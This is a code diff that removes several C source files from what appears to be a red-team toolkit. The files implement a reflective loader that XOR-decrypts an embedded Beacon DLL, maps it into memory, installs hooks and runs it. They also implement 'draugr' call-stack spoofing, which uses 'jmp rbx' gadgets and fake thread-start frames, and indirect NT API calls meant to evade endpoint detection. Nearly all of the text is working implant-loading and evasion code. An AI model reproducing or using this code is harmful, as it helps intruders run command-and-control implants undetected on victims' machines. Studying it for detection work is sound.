operationInfo = pUnwindInfo->UnwindCode[index].OpInfo;
|
||||
|
||||
/* don't use switch as it produces jump tables */
|
||||
if (unwindOperation == UWOP_PUSH_NONVOL)
|
||||
{
|
||||
stackFrame.TotalStackSize += 8;
|
||||
if (RBP_OP_INFO == operationInfo) {
|
||||
stackFrame.PushRbp = TRUE;
|
||||
stackFrame.CountOfCodes = pUnwindInfo->CountOfCodes;
|
||||
stackFrame.PushRbpIndex = index + 1;
|
||||
}
|
||||
}
|
||||
else if (unwindOperation == UWOP_SAVE_NONVOL)
|
||||
{
|
||||
index += 1;
|
||||
}
|
||||
else if (unwindOperation == UWOP_ALLOC_SMALL)
|
||||
{
|
||||
stackFrame.TotalStackSize += ((operationInfo * 8) + 8);
|
||||
}
|
||||
else if (unwindOperation == UWOP_ALLOC_LARGE)
|
||||
{
|
||||
index += 1;
|
||||
frameOffset = pUnwindInfo->UnwindCode[index].FrameOffset;
|
||||
if (operationInfo == 0) {
|
||||
frameOffset *= 8;
|
||||
}
|
||||
else {
|
||||
index += 1;
|
||||
frameOffset += (pUnwindInfo->UnwindCode[index].FrameOffset << 16);
|
||||
}
|
||||
stackFrame.TotalStackSize += frameOffset;
|
||||
}
|
||||
else if (unwindOperation == UWOP_SET_FPREG)
|
||||
{
|
||||
stackFrame.SetsFramePointer = TRUE;
|
||||
}
|
||||
else if (unwindOperation == UWOP_SAVE_XMM128)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
|
||||
index += 1;
|
||||
}
|
||||
|
||||
if (0 != (pUnwindInfo->Flags & UNW_FLAG_CHAININFO))
|
||||
{
|
||||
index = pUnwindInfo->CountOfCodes;
|
||||
if (0 != (index & 1)) {
|
||||
index += 1;
|
||||
}
|
||||
|
||||
pRuntimeFunction = (PRUNTIME_FUNCTION)(&pUnwindInfo->UnwindCode[index]);
|
||||
return calculateFunctionStackSize(pRuntimeFunction, imageBase);
|
||||
}
|
||||
|
||||
stackFrame.TotalStackSize += 8;
|
||||
return (PVOID)(stackFrame.TotalStackSize);
|
||||
}
|
||||
|
||||
PVOID calculateFunctionStackSizeWrapper(PVOID returnAddress)
|
||||
{
|
||||
PRUNTIME_FUNCTION pRuntimeFunction = NULL;
|
||||
DWORD64 ImageBase = 0;
|
||||
PUNWIND_HISTORY_TABLE pHistoryTable = NULL;
|
||||
|
||||
if (!returnAddress) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pRuntimeFunction = KERNEL32$RtlLookupFunctionEntry((DWORD64)returnAddress, &ImageBase, pHistoryTable);
|
||||
|
||||
if (NULL == pRuntimeFunction) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return calculateFunctionStackSize(pRuntimeFunction, ImageBase);
|
||||
}
|
||||
|
||||
PVOID findGadget(PVOID pModuleAddr)
|
||||
{
|
||||
BOOL bFoundGadgets = FALSE;
|
||||
DWORD dwTextSectionSize = 0;
|
||||
DWORD dwTextSectionVa = 0;
|
||||
DWORD dwCounter = 0;
|
||||
ULONG seed = 0;
|
||||
ULONG randomNbr = 0;
|
||||
PVOID pModTextSection = NULL;
|
||||
|
||||
PVOID pGadgetList[15];
|
||||
memset(&pGadgetList, 0, (sizeof(PVOID) * 8));
|
||||
|
||||
if (!bFoundGadgets)
|
||||
{
|
||||
if (!getTextSectionSize(pModuleAddr, &dwTextSectionVa, &dwTextSectionSize)) {
|
||||
return NULL;
|
||||
}
|
||||
|
||||
pModTextSection = (PBYTE)((UINT_PTR)pModuleAddr + dwTextSectionVa);
|
||||
|
||||
for (int i = 0; i < (dwTextSectionSize - 2); i++)
|
||||
{
|
||||
// Searching for jmp rbx gadget
|
||||
if (((PBYTE)pModTextSection)[i] == 0xFF && ((PBYTE)pModTextSection)[i + 1] == 0x23)
|
||||
{
|
||||
pGadgetList[dwCounter] = (void*)((UINT_PTR)pModTextSection + i);
|
||||
dwCounter++;
|
||||
|
||||
if (dwCounter == 15) {
|
||||
break;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
bFoundGadgets = TRUE;
|
||||
}
|
||||
|
||||
seed = 0x1337;
|
||||
randomNbr = NTDLL$RtlRandomEx(&seed);
|
||||
randomNbr %= dwCounter;
|
||||
|
||||
return pGadgetList[randomNbr];
|
||||
}
|
||||
|
||||
ULONG_PTR draugrWrapper(PVOID pFunctionAddr, PVOID pArg1, PVOID pArg2, PVOID pArg3, PVOID pArg4, PVOID pArg5, PVOID pArg6, PVOID pArg7, PVOID pArg8, PVOID pArg9, PVOID pArg10, PVOID pArg11, PVOID pArg12)
|
||||
{
|
||||
int attempts = 0;
|
||||
PVOID returnAddress = NULL;
|
||||
|
||||
DRAUGR_PARAMETERS draugrParameters;
|
||||
memset(&draugrParameters, 0, sizeof(DRAUGR_PARAMETERS));
|
||||
|
||||
// configure BaseThreadInitThunk frame
|
||||
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame1.FunctionAddress + g_stackFrame.Frame1.Offset);
|
||||
draugrParameters.BaseThreadInitThunkStackSize = calculateFunctionStackSizeWrapper(returnAddress);
|
||||
draugrParameters.BaseThreadInitThunkReturnAddress = returnAddress;
|
||||
|
||||
if (!draugrParameters.BaseThreadInitThunkStackSize || !draugrParameters.BaseThreadInitThunkReturnAddress) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
// configure RtlUserThreadStart frame.
|
||||
returnAddress = (void*)((UINT_PTR)g_stackFrame.Frame2.FunctionAddress + g_stackFrame.Frame2.Offset);
|
||||
draugrParameters.RtlUserThreadStartStackSize = calculateFunctionStackSizeWrapper(returnAddress);
|
||||
draugrParameters.RtlUserThreadStartReturnAddress = returnAddress;
|
||||
|
||||
if (!draugrParameters.RtlUserThreadStartStackSize || !draugrParameters.RtlUserThreadStartReturnAddress) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
/*
|
||||
* Ensure that the gadget stack size is bigger than 0x80, which is min
|
||||
* required to hold 10 arguments, otherwise it will crash sporadically.
|
||||
*/
|
||||
|
||||
do {
|
||||
draugrParameters.Trampoline = findGadget(g_stackFrame.pGadget);
|
||||
draugrParameters.TrampolineStackSize = calculateFunctionStackSizeWrapper(draugrParameters.Trampoline);
|
||||
|
||||
attempts++;
|
||||
|
||||
// quick sanity check for infinite loop
|
||||
if (attempts > 15) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
} while (draugrParameters.TrampolineStackSize == NULL || ((__int64)draugrParameters.TrampolineStackSize < 0x80));
|
||||
|
||||
if (!draugrParameters.Trampoline || !draugrParameters.TrampolineStackSize) {
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
|
||||
// make the call!
|
||||
return (ULONG_PTR)SpoofStub(pArg1, pArg2, pArg3, pArg4, &draugrParameters, pFunctionAddr, 8, pArg5, pArg6, pArg7, pArg8, pArg9, pArg10, pArg11, pArg12);
|
||||
}
|
||||
|
||||
ULONG_PTR draugr(PFUNCTION_CALL functionCall)
|
||||
{
|
||||
/* very inelegant */
|
||||
if (functionCall->argc == 0) {
|
||||
return draugrWrapper(functionCall->function, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 1) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 2) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 3) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 4) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 5) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), NULL, NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 6) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), NULL, NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 7) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), NULL, NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 8) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), NULL, NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 9) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), NULL, NULL, NULL);
|
||||
} else if (functionCall->argc == 10) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), NULL, NULL);
|
||||
} else if (functionCall->argc == 11) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), NULL);
|
||||
} else if (functionCall->argc == 12) {
|
||||
return draugrWrapper(functionCall->function, (PVOID)draugrArg(0), (PVOID)draugrArg(1), (PVOID)draugrArg(2), (PVOID)draugrArg(3), (PVOID)draugrArg(4), (PVOID)draugrArg(5), (PVOID)draugrArg(6), (PVOID)draugrArg(7), (PVOID)draugrArg(8), (PVOID)draugrArg(9), (PVOID)draugrArg(10), (PVOID)draugrArg(11));
|
||||
}
|
||||
|
||||
return (ULONG_PTR)(NULL);
|
||||
}
|
||||
@@ -1,270 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
void go();
|
||||
|
||||
char * loaderStart() {
|
||||
return (char *)go;
|
||||
}
|
||||
|
||||
#include "loader.h"
|
||||
#include "tp.h"
|
||||
#include "proxy.h"
|
||||
|
||||
#define WIN32_FUNC( x ) __typeof__( x ) * x
|
||||
|
||||
typedef struct {
|
||||
WIN32_FUNC(LoadLibraryA);
|
||||
WIN32_FUNC(GetProcAddress);
|
||||
DRAUGR Draugr;
|
||||
} WIN32FUNCS;
|
||||
|
||||
char __DRAUGR__[0] __attribute__((section("draugr")));
|
||||
char __HOOKS__[0] __attribute__((section("hooks")));
|
||||
char __DLL__[0] __attribute__((section("dll")));
|
||||
char __KEY__[0] __attribute__((section("key")));
|
||||
|
||||
void * allocateVirtualMemory(SIZE_T size, ULONG protect)
|
||||
{
|
||||
NTARGS args;
|
||||
memset(&args, 0, sizeof(NTARGS));
|
||||
|
||||
void * baseAddress = NULL;
|
||||
|
||||
args.functionPtr = (ULONG_PTR)(NTDLL$NtAllocateVirtualMemory);
|
||||
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
|
||||
args.argument2 = (ULONG_PTR)(&baseAddress);
|
||||
args.argument3 = (ULONG_PTR)(0);
|
||||
args.argument4 = (ULONG_PTR)(&size);
|
||||
args.argument5 = (ULONG_PTR)(MEM_COMMIT|MEM_RESERVE);
|
||||
args.argument6 = (ULONG_PTR)(protect);
|
||||
|
||||
ProxyNtApi(&args);
|
||||
|
||||
return baseAddress;
|
||||
}
|
||||
|
||||
void protectVirtualMemory(void * baseAddress, SIZE_T size, ULONG newProtect)
|
||||
{
|
||||
NTARGS args;
|
||||
memset(&args, 0, sizeof(NTARGS));
|
||||
|
||||
ULONG oldProtect = 0;
|
||||
|
||||
args.functionPtr = (ULONG_PTR)(NTDLL$NtProtectVirtualMemory);
|
||||
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
|
||||
args.argument2 = (ULONG_PTR)(&baseAddress);
|
||||
args.argument3 = (ULONG_PTR)(&size);
|
||||
args.argument4 = (ULONG_PTR)(newProtect);
|
||||
args.argument5 = (ULONG_PTR)(&oldProtect);
|
||||
|
||||
ProxyNtApi(&args);
|
||||
}
|
||||
|
||||
void freeVirtualMemory(void * baseAddress)
|
||||
{
|
||||
NTARGS args;
|
||||
memset(&args, 0, sizeof(NTARGS));
|
||||
|
||||
SIZE_T size = 0;
|
||||
|
||||
args.functionPtr = (ULONG_PTR)(NTDLL$NtFreeVirtualMemory);
|
||||
args.argument1 = (ULONG_PTR)(HANDLE)(-1);
|
||||
args.argument2 = (ULONG_PTR)(&baseAddress);
|
||||
args.argument3 = (ULONG_PTR)(&size);
|
||||
args.argument4 = (ULONG_PTR)(MEM_RELEASE);
|
||||
|
||||
ProxyNtApi(&args);
|
||||
}
|
||||
|
||||
void fixSectionPermissions(DLLDATA * dll, char * src, char * dst, MEMORY_REGION * region)
|
||||
{
|
||||
DWORD numberOfSections = dll->NtHeaders->FileHeader.NumberOfSections;
|
||||
IMAGE_SECTION_HEADER * sectionHdr = NULL;
|
||||
void * sectionDst = NULL;
|
||||
DWORD sectionSize = 0;
|
||||
DWORD newProtect = 0;
|
||||
|
||||
sectionHdr = (IMAGE_SECTION_HEADER *)PTR_OFFSET(dll->OptionalHeader, dll->NtHeaders->FileHeader.SizeOfOptionalHeader);
|
||||
|
||||
for (int i = 0; i < numberOfSections; i++)
|
||||
{
|
||||
sectionDst = dst + sectionHdr->VirtualAddress;
|
||||
sectionSize = sectionHdr->SizeOfRawData;
|
||||
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) {
|
||||
newProtect = PAGE_WRITECOPY;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) {
|
||||
newProtect = PAGE_READONLY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE)) {
|
||||
newProtect = PAGE_READWRITE;
|
||||
}
|
||||
if (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) {
|
||||
newProtect = PAGE_EXECUTE;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtect = PAGE_EXECUTE_WRITECOPY;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_READ)) {
|
||||
newProtect = PAGE_EXECUTE_READ;
|
||||
}
|
||||
if ((sectionHdr->Characteristics & IMAGE_SCN_MEM_READ) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_WRITE) && (sectionHdr->Characteristics & IMAGE_SCN_MEM_EXECUTE)) {
|
||||
newProtect = PAGE_EXECUTE_READWRITE;
|
||||
}
|
||||
|
||||
/* set new permission */
|
||||
protectVirtualMemory(sectionDst, sectionSize, newProtect);
|
||||
|
||||
/* track memory */
|
||||
region->sections[i].baseAddress = sectionDst;
|
||||
region->sections[i].size = sectionSize;
|
||||
region->sections[i].currentProtect = newProtect;
|
||||
region->sections[i].previousProtect = newProtect;
|
||||
|
||||
/* advance to our next section */
|
||||
sectionHdr++;
|
||||
}
|
||||
}
|
||||
|
||||
void reflectiveLoader(WIN32FUNCS * funcs, MEMORY_LAYOUT * layout)
|
||||
{
|
||||
char * hookSrc;
|
||||
PICO * hookDst;
|
||||
RESOURCE * keyRes;
|
||||
RESOURCE * beaconRes;
|
||||
DLLDATA beaconData;
|
||||
char * beaconSrc;
|
||||
char * beaconDst;
|
||||
|
||||
/* Time to load the hook PICO */
|
||||
hookSrc = GETRESOURCE(__HOOKS__);
|
||||
|
||||
/* Allocate memory for it */
|
||||
hookDst = (PICO *)allocateVirtualMemory(sizeof(PICO), PAGE_READWRITE);
|
||||
|
||||
/* Load it into memory */
|
||||
PicoLoad((IMPORTFUNCS *)funcs, hookSrc, hookDst->code, hookDst->data);
|
||||
|
||||
/* Make the code section RX */
|
||||
protectVirtualMemory(hookDst->code, PicoCodeSize(hookSrc), PAGE_EXECUTE_READ);
|
||||
|
||||
/* Fill layout info */
|
||||
layout->hooks.baseAddress = (char *)hookDst;
|
||||
layout->hooks.size = sizeof(PICO);
|
||||
layout->hooks.sections[0].baseAddress = hookDst->data;
|
||||
layout->hooks.sections[0].size = PicoDataSize(hookSrc);
|
||||
layout->hooks.sections[0].currentProtect = PAGE_READWRITE;
|
||||
layout->hooks.sections[0].previousProtect = PAGE_READWRITE;
|
||||
layout->hooks.sections[1].baseAddress = hookDst->code;
|
||||
layout->hooks.sections[1].size = PicoCodeSize(hookSrc);
|
||||
layout->hooks.sections[1].currentProtect = PAGE_EXECUTE_READ;
|
||||
layout->hooks.sections[1].previousProtect = PAGE_EXECUTE_READ;
|
||||
|
||||
/* Get PICO entry point */
|
||||
PICOHOOK_ENTRY picoEntry = (PICOHOOK_ENTRY)PicoEntryPoint(hookSrc, hookDst->code);
|
||||
|
||||
/* Call it to install the hooks */
|
||||
picoEntry((IMPORTFUNCS *)funcs, layout);
|
||||
|
||||
/* Get XOR key */
|
||||
keyRes = (RESOURCE *)GETRESOURCE(__KEY__);
|
||||
|
||||
/* Get XOR'd DLL */
|
||||
beaconRes = (RESOURCE *)GETRESOURCE(__DLL__);
|
||||
|
||||
/* Unmask and copy it into memory */
|
||||
beaconSrc = allocateVirtualMemory(beaconRes->length, PAGE_READWRITE);
|
||||
|
||||
for (int i = 0; i < beaconRes->length; i++) {
|
||||
beaconSrc[i] = beaconRes->value[i] ^ keyRes->value[i % keyRes->length];
|
||||
}
|
||||
|
||||
/* Parse the headers */
|
||||
ParseDLL(beaconSrc, &beaconData);
|
||||
|
||||
/* Allocate new memory for Beacon */
|
||||
beaconDst = allocateVirtualMemory(SizeOfDLL(&beaconData), PAGE_READWRITE);
|
||||
|
||||
/* Load it into memory */
|
||||
LoadDLL(&beaconData, beaconSrc, beaconDst);
|
||||
ProcessImports((IMPORTFUNCS *)funcs, &beaconData, beaconDst);
|
||||
|
||||
layout->dll.baseAddress = beaconDst;
|
||||
layout->dll.size = SizeOfDLL(&beaconData);
|
||||
|
||||
/* Fix section memory permissions */
|
||||
fixSectionPermissions(&beaconData, beaconSrc, beaconDst, &layout->dll);
|
||||
|
||||
/* Call hook entry point again to provide the updated memory layout */
|
||||
picoEntry((IMPORTFUNCS *)funcs, layout);
|
||||
|
||||
/* Get Beacon's entry point */
|
||||
DLLMAIN_FUNC beaconEntry = EntryPoint(&beaconData, beaconDst);
|
||||
|
||||
/* Free the unmasked copy */
|
||||
freeVirtualMemory(beaconSrc);
|
||||
|
||||
/* Call it twice */
|
||||
beaconEntry((HINSTANCE)beaconDst, DLL_PROCESS_ATTACH, NULL);
|
||||
beaconEntry((HINSTANCE)loaderStart(), 0x4, NULL);
|
||||
}
|
||||
|
||||
void go()
|
||||
{
|
||||
WIN32FUNCS funcs;
|
||||
RESOURCE * picSrc;
|
||||
char * picDst;
|
||||
MEMORY_LAYOUT layout;
|
||||
|
||||
funcs.LoadLibraryA = LoadLibraryA;
|
||||
funcs.GetProcAddress = GetProcAddress;
|
||||
|
||||
/* Grab the Draugr PIC */
|
||||
picSrc = (RESOURCE *)GETRESOURCE(__DRAUGR__);
|
||||
|
||||
/* Allocate memory for it */
|
||||
picDst = allocateVirtualMemory(picSrc->length, PAGE_READWRITE);
|
||||
|
||||
/* Copy it into memory */
|
||||
memcpy(picDst, picSrc->value, picSrc->length);
|
||||
|
||||
/* Flip memory to RX */
|
||||
protectVirtualMemory(picDst, picSrc->length, PAGE_EXECUTE_READ);
|
||||
|
||||
/* Set funcs field */
|
||||
funcs.Draugr = (DRAUGR)(picDst);
|
||||
|
||||
/* Begin filling memory layout info */
|
||||
layout.pic.baseAddress = picDst;
|
||||
layout.pic.size = picSrc->length;
|
||||
|
||||
/* Carry on loading the rest */
|
||||
reflectiveLoader(&funcs, &layout);
|
||||
}
|
||||
@@ -1,57 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
#include "tcg.h"
|
||||
#include "memory.h"
|
||||
|
||||
#define memset(x, y, z) __stosb((unsigned char *)x, y, z);
|
||||
#define memcpy(x, y, z) __movsb((unsigned char *)x, (unsigned char *)y, z);
|
||||
|
||||
#define GETRESOURCE(x) (char *)&x
|
||||
|
||||
typedef struct {
|
||||
int length;
|
||||
char value[];
|
||||
} RESOURCE;
|
||||
|
||||
typedef struct {
|
||||
char data[4096];
|
||||
char code[16384];
|
||||
} PICO;
|
||||
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtAllocateVirtualMemory (HANDLE, PVOID *, ULONG_PTR, PSIZE_T, ULONG, ULONG);
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtProtectVirtualMemory (HANDLE, PVOID *, PSIZE_T, ULONG, PULONG);
|
||||
DECLSPEC_IMPORT NTSTATUS NTAPI NTDLL$NtFreeVirtualMemory (HANDLE, PVOID *, PSIZE_T, ULONG);
|
||||
|
||||
typedef void (*PICOHOOK_ENTRY)(IMPORTFUNCS *, MEMORY_LAYOUT *);
|
||||
|
||||
char * resolve(DWORD modHash, DWORD funcHash) {
|
||||
char * hModule = (char *)findModuleByHash(modHash);
|
||||
return findFunctionByHash(hModule, funcHash);
|
||||
}
|
||||
@@ -1,48 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
* COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
|
||||
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
|
||||
* SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
|
||||
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR
|
||||
* TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
|
||||
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*/
|
||||
|
||||
#include <windows.h>
|
||||
|
||||
typedef struct {
|
||||
void * baseAddress;
|
||||
SIZE_T size;
|
||||
DWORD currentProtect;
|
||||
DWORD previousProtect;
|
||||
} MEMORY_SECTION;
|
||||
|
||||
typedef struct {
|
||||
void * baseAddress;
|
||||
SIZE_T size;
|
||||
MEMORY_SECTION sections[5];
|
||||
} MEMORY_REGION;
|
||||
|
||||
typedef struct {
|
||||
MEMORY_REGION pic;
|
||||
MEMORY_REGION hooks;
|
||||
MEMORY_REGION dll;
|
||||
} MEMORY_LAYOUT;
|
||||
@@ -1,122 +0,0 @@
|
||||
/*
|
||||
* Copyright 2025 Daniel Duggan, Zero-Point Security
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without modification, are
|
||||
* permitted provided that the following conditions are met:
|
||||
*
|
||||
* 1. Redistributions of source code must retain the above copyright notice, this list of
|
||||
* conditions and the following disclaimer.
|
||||
*
|
||||
* 2. Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||
* conditions and the following disclaimer in the documentation and/or other materials provided
|
||||
* with the distribution.
|
||||
*
|
||||
* 3. Neither the name of the copyright holder nor the names of its contributors may be used to
|
||||
* endorse or promote products derived from this software without specific prior written
|
||||
* permission.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS “AS IS” AND ANY EXPRESS
|
||||
* OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE
|
||||
